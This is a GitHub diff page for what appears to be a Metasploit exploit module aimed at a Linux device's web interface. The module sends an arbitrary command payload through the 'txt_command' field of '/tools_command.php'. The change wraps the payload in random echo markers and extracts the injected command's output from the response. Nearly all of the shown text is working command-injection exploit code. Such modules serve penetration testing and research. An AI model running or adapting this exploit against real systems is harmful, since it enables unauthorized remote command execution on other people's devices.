File tree Expand file tree Collapse file tree 1 file changed +6
-1
lines changed
modules/exploits/linux/http Expand file tree Collapse file tree 1 file changed +6
-1
lines changed Original file line number Diff line number Diff line change @@ -77,13 +77,15 @@ def exploit
77
77
print_status ( "#{ peer } - Exploiting..." )
78
78
79
79
uri = '/tools_command.php'
80
+ beg_boundary = rand_text_alpha ( 8 )
81
+ end_boundary = rand_text_alpha ( 8 )
80
82
81
83
begin
82
84
res = send_request_cgi ( {
83
85
'uri' => uri ,
84
86
'vars_post' => {
85
87
'cmb_header' => '' ,
86
- 'txt_command' => payload . encoded
88
+ 'txt_command' => "echo #{ beg_boundary } ; #{ payload . encoded } ; echo #{ end_boundary } "
87
89
} ,
88
90
'method' => 'POST' ,
89
91
'headers' => {
@@ -92,6 +94,9 @@ def exploit
92
94
} )
93
95
if res && res . code == 200 && res . body . to_s =~ /TOOLS - COMMAND/
94
96
print_good ( "#{ peer } - Command sent successfully" )
97
+ if res . body . to_s =~ /#{ beg_boundary } (.*)#{ end_boundary } /m
98
+ print_status ( "#{ peer } - Command output: #{ $1} " )
99
+ end
95
100
else
96
101
fail_with ( Failure ::UnexpectedReply , "#{ peer } - Command execution failed" )
97
102
end
You can’t perform that action at this time.
0 commit comments